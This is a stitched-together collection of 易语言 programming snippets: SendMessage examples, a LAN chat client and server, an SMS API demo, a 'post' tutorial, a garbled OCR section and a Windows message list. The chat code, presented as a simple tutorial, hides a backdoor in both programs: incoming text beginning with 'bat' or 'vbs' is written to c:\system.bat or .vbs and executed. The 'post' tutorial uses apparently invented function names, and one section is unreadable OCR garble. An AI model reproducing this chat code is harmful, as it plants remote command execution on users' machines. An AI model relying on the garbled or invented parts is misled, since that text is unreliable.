易语言发送信息代码数据
易语言发送消息
语法: 无返回值 窗口组件.投递信息 (信息值,参数1,参数2)
参数名
描述
信息值
必需的;整数型。
参数1
必需的;整数型,初始值为“0”。
参数2
必需的;整数型,初始值为“0”。
----------------------------------
━━━━━━━━━━━━━━━━━━━━━━━━━━
怎么发送消息让组合框弹出下拉列表??
组合框1.发送信息 (335, 1, 0)
伸出
组合框1.发送信息 (335, 0, 0)萎縮
━━━━━━━━━━━━━━━━━━━━━━━━━━
将指定信息发送到窗口或窗口组件,并等待且取回信息反馈值。
语法: 整数型 窗口组件.发送信息 (信息值,参数1,参数2)
参数名
描述
信息值
必需的;整数型。
参数1
必需的;整数型,初始值为“0”。
参数2
必需的;整数型,初始值为“0”。
--------------
8.清除窗口标题
控件.发送信息 (12, 0, 0)
9.复制
编辑框.发送信息 (769, 0, 0)
10.粘帖
编辑框.发送信息 (770, 0, 0)
11.全选
编辑框.发送信息 (177, 0, -1)
12.清空内容
编辑框.发送信息 (12, 1, 0)
13.按钮单击
12。复制 编辑框.发送信息 (769, 0, 0)
13。粘帖 编辑框.发送信息 (770, 0, 0)
14。全选 编辑框.发送信息 (177, 0, -1)
易语言简单局域网聊天代码(客户服务器组件编写)
客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。
总结易语言发送数据的方法
总结易语⾔发送数据的⽅法
易语⾔指定IP发送数据教程
启动易语⾔,⿏标左键双击新建,然后在名为“新建:”的窗⼝中⿏标左键单击“Windows窗⼝程序”,然后选择确定按钮。
在第⼀步的基础上选择易语⾔窗⼝左侧的控件栏中的控件—⼀个按钮、两个编辑框、⼀个服务器。
然后⿏标左键单击⼀下如”按钮“控件,然后把⿏标移动到”窗⼝“出,⿏标左键再次单击,控件就上了。
如此反复即可。
“编辑框1”是让输⼊发送数据的
“编辑框2”是让输⼊对⽅IP地址的
“服务器1”是为了发送数据
“按钮1”是为了反应⼀个“事件”
代码如下:
.版本 2
编辑框1.滚动条= 2 ' 2为纵向滚动条,为了可以看编辑框中所有的⽂本数据①
编辑框1.是否允许多⾏=真 ' 允许多⾏是为了配合①的要求,作⽤是为了看编辑框中所有的⽂本数据按钮1.标题= “发送”
.版本 2
服务器1.发送数据 (编辑框2.内容, 编辑框1.内容, )
最后修改⼀下控件⼤⼩、位置就可以了。
总结
不同类型变量之间的转换注意⾃⼰实践,不要放弃创新精神。
易语言短信验证码通知代码示例
.版本2.支持库iconv.支持库EXMLParser.程序集窗口程序集_启动窗口.子程序__启动窗口_创建完毕.子程序账户信息判断, 逻辑型, 公开.如果真(接口名.内容="")信息框("请输入用户名", 0, )返回(假).如果真结束.如果真(接口密.内容="")信息框("请输入密码", 0, )返回(假).如果真结束返回(真).子程序发送数据判断, 逻辑型, 公开.如果真(手机号.内容="")信息框("请输入手机号码", 0, )返回(假).如果真结束.如果真(短信内容.内容="")信息框("请输入要发送的内容", 0, )返回(假).如果真结束返回(真).子程序_按钮1_被单击.局部变量节点名数组, 文本型, , "0".局部变量子节点数, 整数型.局部变量i, 整数型.如果真(取反(账户信息判断()))返回().如果真结束.如果真(取反(发送数据判断()))返回().如果真结束状态标签.标题=短信发送(接口名.内容, 接口密.内容, 手机号.内容, 短信内容.内容) xml文件名=取当前目录() +"\data\submit.xml"状态标签.标题=到文本(编码转换(到字节集(状态标签.标题), #编码_UTF_8, #编码_GBK, ))写到文件(xml文件名, 到字节集(状态标签.标题))xml.导入(xml文件名)xml.取根节点名(根节点)xml.取子节点数(根节点, 子节点数).如果真(子节点数>0)xml.取子节点名(根节点, 节点名数组)输出调试文本(节点名数组[1])输出调试文本(节点名数组[2])输出调试文本(节点名数组[3])输出调试文本(xml.取节点值文本(根节点+"/code", ))输出调试文本(xml.取节点值文本(根节点+"/msg", ))输出调试文本(xml.取节点值文本(根节点+"/smsid", ))状态标签.标题="状态码:" +xml.取节点值文本(根节点+"/code", ) +#换行符+"描述:" +xml.取节点值文本(根节点+"/msg", ) +#换行符+"流水号:" +xml.取节点值文本(根节点+"/smsid", ).如果真结束xml.释放()返回()返回().子程序_按钮2_被单击.局部变量节点名数组, 文本型, , "0".局部变量子节点数, 整数型.局部变量i, 整数型.如果真(取反(账户信息判断()))返回().如果真结束状态标签.标题=剩余条数(接口名.内容, 接口密.内容)xml文件名=取当前目录() +"\data\getnum.xml"状态标签.标题=到文本(编码转换(到字节集(状态标签.标题), #编码_UTF_8, #编码_GBK, ))写到文件(xml文件名, 到字节集(状态标签.标题))xml.导入(xml文件名)xml.取根节点名(根节点)xml.取子节点数(根节点, 子节点数).如果真(子节点数>0)xml.取子节点名(根节点, 节点名数组)输出调试文本(节点名数组[1])输出调试文本(节点名数组[2])输出调试文本(节点名数组[3])输出调试文本(xml.取节点值文本(根节点+"/code", ))输出调试文本(xml.取节点值文本(根节点+"/msg", ))输出调试文本(xml.取节点值文本(根节点+"/num", ))状态标签.标题="状态码:" +xml.取节点值文本(根节点+"/code", ) +#换行符+"描述:" +xml.取节点值文本(根节点+"/msg", ) +#换行符+"条数:"+xml.取节点值文本(根节点+"/num", ).如果真结束xml.释放()返回().子程序GBK编码转换, 文本型, 公开, 将一个GBK编码的文本转换为URL编码,返回一个URL编码.参数文本, 文本型, , 需要转换为URL编码的GBK编码的文本.局部变量GBK文本, 字节集.局部变量URL码, 文本型.局部变量n, 整数型GBK文本=到字节集(文本).计次循环首(取字节集长度(GBK文本), n)URL码=URL码+"%" +取十六进制文本(GBK文本[n]).计次循环尾()返回(URL码).子程序UTF8编码转换, 文本型, 公开, 将一个UTF8编码的文本转换为URL编码,返回一个URL编码.参数文本, 文本型, , 需要转换为URL编码的UTF8编码的文本.局部变量URL码, 文本型.局部变量n, 整数型.局部变量UTF8文本, 字节集UTF8文本=编码转换(到字节集(文本), #编码_GBK, #编码_UTF_8, ).计次循环首(取字节集长度(UTF8文本), n)URL码=URL码+"%" +取十六进制文本(UTF8文本[n]).计次循环尾()返回(URL码).子程序_分组框4_鼠标左键被按下, 逻辑型.参数横向位置, 整数型.参数纵向位置, 整数型.参数功能键状态, 整数型互亿无线短信平台公司介绍:互亿无线成立于2004年,公司主营业务为云通信及虚拟商品分发服务;自成立以来,累计服务客户超过10万家。
易语言post写法 -回复
易语言post写法-回复易语言是一种面向过程的编程语言,适用于初学者入门;该语言最大的特点是简单易学,适合小型项目的开发。
下面将详细介绍易语言的post写法。
首先,post写法是易语言中实现数据传输的一种方式。
该方法可以用于向服务器发送HTTP请求,并接收服务器返回的响应数据。
步骤一:导入网络类库LoadNetLib() '导入网络类库在易语言中,需要先导入网络类库,该类库提供了许多网络相关的操作函数。
通过"LoadNetLib()"函数即可导入网络类库。
步骤二:创建HTTP请求对象CreateHttp() '创建HTTP请求对象使用"CreateHttp()"函数即可创建一个HTTP请求对象,该对象可以用于发送HTTP请求。
步骤三:设置HTTP请求参数SetHttpOption(发送模式, "URL", "参数") '设置HTTP请求参数在发送HTTP请求之前,需要设置请求的相关参数,如发送模式、URL以及参数。
其中,发送模式可以根据需求选择GET或POST方式。
步骤四:发送HTTP请求SendHttp() '发送HTTP请求设置好HTTP请求参数后,使用"SendHttp()"函数即可发送HTTP请求。
步骤五:接收HTTP响应数据GetHttpResponseData() '接收HTTP响应数据发送完HTTP请求后,使用"GetHttpResponseData()"函数即可接收到服务器返回的响应数据。
步骤六:解析响应数据ResolveHttpResult() '解析响应数据为了方便处理响应数据,可以使用"ResolveHttpResult()"函数将其解析为易语言中的数据类型。
步骤七:处理响应数据操作接收到的响应数据'处理响应数据解析完响应数据后,可以根据需求对其进行操作,如存储到变量中、显示到界面上等。
易语言代码大全
4.1•信息框(“”)双引号内填你想出现的文字,点击按钮即可出现信息框,上有你想出现的文字。
2•编辑框1.内容=“”在双引号内输入文字,点击按钮即可在编辑框内出现你所输入的文字。
3•判断开始(组合框1•现行选中项=0) •判断(组合框1•现行选中项 =1)门计:次储坏首ao f M煽皤粧1•加入文本倒文本⑹十楸行約 二-计炭储环屋0厂卜计次循环首3 ) 占动窗口.扳题=Lading":厂卜计灰猶环首6):■ 上动窗口,标超=动窗口.标題+::G00)’※等侍时间:300 丄-计次循环尾0Ii1 --计次储环庫0载入窗口I, , M )*Loading 效果编辑框3.内容=到文本(到数值(编辑框1.内容)+至U 数值(编辑框2•内容))编辑框3•内容=到文本(到数值 •判断(组合框1•现行选中项 =2)编辑框3•内容=到文本(到数值 •判断(组合框1•现行选中项 =3)编辑框3•内容=到文本(到数值(编辑框1•内容)—到数值 (编辑框2•内容)) (编辑框1•内容)X 到数值(编辑框2•内容)) )(7.匾用対话框1 •扌J 卄褊蜒L 内咨=(1用対话程L 文件容抚行C 编辑框1.內咨,,,)丄+信息框(咽呵・If 5 “才,6.〕 5.快速打开程序的易程序代码。
置随机教种子0店媚口标题=到文本⑻随机韧【】•別的阳盯赶交衣F19柜1曲11 =1曄辄时訓周期=到数值■曰抑如旦期=6.快速刷新网站易程序代码电11世障其酿」槪匡L 百-劉只狂煩莎込蕾⑧牡佰雜召离型 磁姗酋汪2 ___ 玖箫度小趨一 I工二丄H B1 = 1 + 14- I - Z -b 1ISD1 = 1+1询鼻〕一个简易的定义运算的代码。
易语言Windows消息大全
易语⾔Windows消息⼤全消息,就是指Windows发出的⼀个通知,告诉应⽤程序某个事情发⽣了。
例如,单击⿏标、改变窗⼝尺⼨、按下键盘上的⼀个键都会使Windows发送⼀个消息给应⽤程序。
消息本⾝是作为⼀个记录传递给应⽤程序的,这个记录中包含了消息的类型以及其他信息。
例如,对于单击⿏标所产⽣的消息来说,这个记录中包含了单击⿏标时的坐标。
这个记录类型叫做TMsg,它在Windows单元中是这样声明的:typeTMsg = packed recordhwnd: HWND; / /窗⼝句柄message: UINT; / /消息常量标识符wParam: WPARAM ; // 32位消息的特定附加信息lParam: LPARAM ; // 32位消息的特定附加信息time: DWORD; / /消息创建时的时间pt: TPoint; / /消息创建时的⿏标位置end;消息中有什么?是否觉得⼀个消息记录中的信息像希腊语⼀样?如果是这样,那么看⼀看下⾯的解释:hwnd 32位的窗⼝句柄。
窗⼝可以是任何类型的屏幕对象,因为Win32能够维护⼤多数可视对象的句柄(窗⼝、对话框、按钮、编辑框等)。
message ⽤于区别其他消息的常量值,这些常量可以是Windows单元中预定义的常量,也可以是⾃定义的常量。
wParam 通常是⼀个与消息有关的常量值,也可能是窗⼝或控件的句柄。
lParam 通常是⼀个指向内存中数据的指针。
由于W P a r a m、l P a r a m和P o i n t e r都是3 2位的,因此,它们之间可以相互转换。
WM_NULL = 0;WM_CREATE = 1;应⽤程序创建⼀个窗⼝WM_DESTROY = 2;⼀个窗⼝被销毁WM_MOVE = 3;移动⼀个窗⼝WM_SIZE = 5;改变⼀个窗⼝的⼤⼩WM_ACTIVATE = 6;⼀个窗⼝被激活或失去激活状态;WM_SETFOCUS = 7;获得焦点后WM_KILLFOCUS = 8;失去焦点WM_ENABLE = 10;改变enable状态WM_SETREDRAW = 11;设置窗⼝是否能重画WM_SETTEXT = 12;应⽤程序发送此消息来设置⼀个窗⼝的⽂本WM_GETTEXT = 13;应⽤程序发送此消息来复制对应窗⼝的⽂本到缓冲区WM_GETTEXTLENGTH = 14;得到与⼀个窗⼝有关的⽂本的长度(不包含空字符)WM_PAINT = 15;要求⼀个窗⼝重画⾃⼰WM_CLOSE = 16;当⼀个窗⼝或应⽤程序要关闭时发送⼀个信号WM_QUERYENDSESSION = 17;当⽤户选择结束对话框或程序⾃⼰调⽤ExitWindows函数WM_QUIT = 18;⽤来结束程序运⾏或当程序调⽤postquitmessage函数WM_QUERYOPEN = 19;当⽤户窗⼝恢复以前的⼤⼩位置时,把此消息发送给某个图标WM_ERASEBKGND = 20;当窗⼝背景必须被擦除时(例在窗⼝改变⼤⼩时)WM_SYSCOLORCHANGE = 21;当系统颜⾊改变时,发送此消息给所有顶级窗⼝WM_ENDSESSION = 22;当系统进程发出WM_QUERYENDSESSION消息后,此消息发送给应⽤程序,通知它对话是否结束WM_SYSTEMERROR = 23;WM_SHOWWINDOW = 24;当隐藏或显⽰窗⼝是发送此消息给这个窗⼝WM_ACTIVATEAPP = 28;发此消息给应⽤程序哪个窗⼝是激活的,哪个是⾮激活的;WM_FONTCHANGE = 29;当系统的字体资源库变化时发送此消息给所有顶级窗⼝WM_TIMECHANGE = 30;当系统的时间变化时发送此消息给所有顶级窗⼝WM_CANCELMODE = 31;发送此消息来取消某种正在进⾏的摸态(操作)WM_SETCURSOR = 32;如果⿏标引起光标在某个窗⼝中移动且⿏标输⼊没有被捕获时,就发消息给某个窗⼝WM_MOUSEACTIVATE = 33;当光标在某个⾮激活的窗⼝中⽽⽤户正按着⿏标的某个键发送此消息给当前窗⼝WM_CHILDACTIVATE = 34;发送此消息给MDI⼦窗⼝当⽤户点击此窗⼝的标题栏,或当窗⼝被激活,移动,改变⼤⼩WM_QUEUESYNC = 35;此消息由基于计算机的训练程序发送,通过WH_JOURNALPALYBACK的hook程序分离出⽤户输⼊消息WM_GETMINMAXINFO = 36;此消息发送给窗⼝当它将要改变⼤⼩或位置;WM_PAINTICON = 38;发送给最⼩化窗⼝当它图标将要被重画WM_ICONERASEBKGND = 39;此消息发送给某个最⼩化窗⼝,仅当它在画图标前它的背景必须被重画WM_NEXTDLGCTL = 40;发送此消息给⼀个对话框程序去更改焦点位置WM_SPOOLERSTATUS = 42;每当打印管理列队增加或减少⼀条作业时发出此消息WM_DRAWITEM = 43;当button,combobox,listbox,menu的可视外观改变时发送此消息给这些空件的所有者WM_MEASUREITEM = 44;当button, combo box, list box, list view control, or menu item 被创建时发送此消息给控件的所有者WM_DELETEITEM = 45;当the list box 或 combo box 被销毁或当某些项被删除通过LB_DELETESTRING, LB_RESETCONTENT, CB_DELETESTRING, or CB_RESETCONTENT 消息WM_VKEYTOITEM = 46;此消息有⼀个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息WM_CHARTOITEM = 47;此消息由⼀个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息WM_SETFONT = 48;当绘制⽂本时程序发送此消息得到控件要⽤的颜⾊WM_GETFONT = 49;应⽤程序发送此消息得到当前控件绘制⽂本的字体WM_SETHOTKEY = 50;应⽤程序发送此消息让⼀个窗⼝与⼀个热键相关连WM_GETHOTKEY = 51;应⽤程序发送此消息来判断热键与某个窗⼝是否有关联WM_QUERYDRAGICON = 55;此消息发送给最⼩化窗⼝,当此窗⼝将要被拖放⽽它的类中没有定义图标,应⽤程序能返回⼀个图标或光标的句柄,当⽤户拖放图标时系统显⽰这个图标或光标WM_COMPAREITEM = 57;发送此消息来判定combobox或listbox新增加的项的相对位置WM_GETOBJECT = 61;WM_COMPACTING = 65;显⽰内存已经很少了WM_WINDOWPOSCHANGING = 70;发送此消息给那个窗⼝的⼤⼩和位置将要被改变时,来调⽤setwindowpos函数或其它窗⼝管理函数WM_WINDOWPOSCHANGED = 71;发送此消息给那个窗⼝的⼤⼩和位置已经被改变时,来调⽤setwindowpos函数或其它窗⼝管理函数WM_POWER = 72;(适⽤于16位的windows)当系统将要进⼊暂停状态时发送此消息WM_COPYDATA = 74;当⼀个应⽤程序传递数据给另⼀个应⽤程序时发送此消息WM_CANCELJOURNAL = 75;当某个⽤户取消程序⽇志激活状态,提交此消息给程序WM_NOTIFY = 78;当某个控件的某个事件已经发⽣或这个控件需要得到⼀些信息时,发送此消息给它的⽗窗⼝WM_INPUTLANGCHANGEREQUEST = 80;当⽤户选择某种输⼊语⾔,或输⼊语⾔的热键改变WM_INPUTLANGCHANGE = 81;当平台现场已经被改变后发送此消息给受影响的最顶级窗⼝WM_TCARD = 82;当程序已经初始化windows帮助例程时发送此消息给应⽤程序WM_HELP = 83;此消息显⽰⽤户按下了F1,如果某个菜单是激活的,就发送此消息个此窗⼝关联的菜单,否则就发送给有焦点的窗⼝,如果当前都没有焦点,就把此消息发送给当前激活的窗⼝WM_USERCHANGED = 84;当⽤户已经登⼊或退出后发送此消息给所有的窗⼝,当⽤户登⼊或退出时系统更新⽤户的具体设置信息,在⽤户更新设置时系统马上发送此消息;WM_NOTIFYFORMAT = 85;公⽤控件,⾃定义控件和他们的⽗窗⼝通过此消息来判断控件是使⽤ANSI还是UNICODE结构在WM_NOTIFY消息,使⽤此控件能使某个控件与它的⽗控件之间进⾏相互通信WM_CONTEXTMENU = 123;当⽤户某个窗⼝中点击了⼀下右键就发送此消息给这个窗⼝WM_STYLECHANGING = 124;当调⽤SETWINDOWLONG函数将要改变⼀个或多个窗⼝的风格时发送此消息给那个窗⼝WM_STYLECHANGED = 125;当调⽤SETWINDOWLONG函数⼀个或多个窗⼝的风格后发送此消息给那个窗⼝WM_DISPLAYCHANGE = 126;当显⽰器的分辨率改变后发送此消息给所有的窗⼝WM_GETICON = 127;此消息发送给某个窗⼝来返回与某个窗⼝有关连的⼤图标或⼩图标的句柄;WM_SETICON = 128;程序发送此消息让⼀个新的⼤图标或⼩图标与某个窗⼝关联;WM_NCCREATE = 129;当某个窗⼝第⼀次被创建时,此消息在WM_CREATE消息发送前发送;WM_NCDESTROY = 130;此消息通知某个窗⼝,⾮客户区正在销毁WM_NCCALCSIZE = 131;当某个窗⼝的客户区域必须被核算时发送此消息WM_NCHITTEST = 132;//移动⿏标,按住或释放⿏标时发⽣WM_NCPAINT = 133;程序发送此消息给某个窗⼝当它(窗⼝)的框架必须被绘制时;WM_NCACTIVATE = 134;此消息发送给某个窗⼝仅当它的⾮客户区需要被改变来显⽰是激活还是⾮激活状态;WM_GETDLGCODE = 135;发送此消息给某个与对话框程序关联的控件,widdows控制⽅位键和TAB键使输⼊进⼊此控件通过响应WM_GETDLGCODE消息,应⽤程序可以把他当成⼀个特殊的输⼊控件并能处理它WM_NCMOUSEMOVE = 160;当光标在⼀个窗⼝的⾮客户区内移动时发送此消息给这个窗⼝ //⾮客户区为:窗体的标题栏及窗的边框体WM_NCLBUTTONDOWN = 161;当光标在⼀个窗⼝的⾮客户区同时按下⿏标左键时提交此消息WM_NCLBUTTONUP = 162;当⽤户释放⿏标左键同时光标某个窗⼝在⾮客户区⼗发送此消息;WM_NCLBUTTONDBLCLK = 163;当⽤户双击⿏标左键同时光标某个窗⼝在⾮客户区⼗发送此消息WM_NCRBUTTONDOWN = 164;当⽤户按下⿏标右键同时光标⼜在窗⼝的⾮客户区时发送此消息WM_NCRBUTTONUP = 165;当⽤户释放⿏标右键同时光标⼜在窗⼝的⾮客户区时发送此消息WM_NCRBUTTONDBLCLK = 166;当⽤户双击⿏标右键同时光标某个窗⼝在⾮客户区⼗发送此消息WM_NCMBUTTONDOWN = 167;当⽤户按下⿏标中键同时光标⼜在窗⼝的⾮客户区时发送此消息WM_NCMBUTTONUP = 168;当⽤户释放⿏标中键同时光标⼜在窗⼝的⾮客户区时发送此消息WM_NCMBUTTONDBLCLK = 169;当⽤户双击⿏标中键同时光标⼜在窗⼝的⾮客户区时发送此消息WM_KEYFIRST = 256;WM_KEYDOWN = 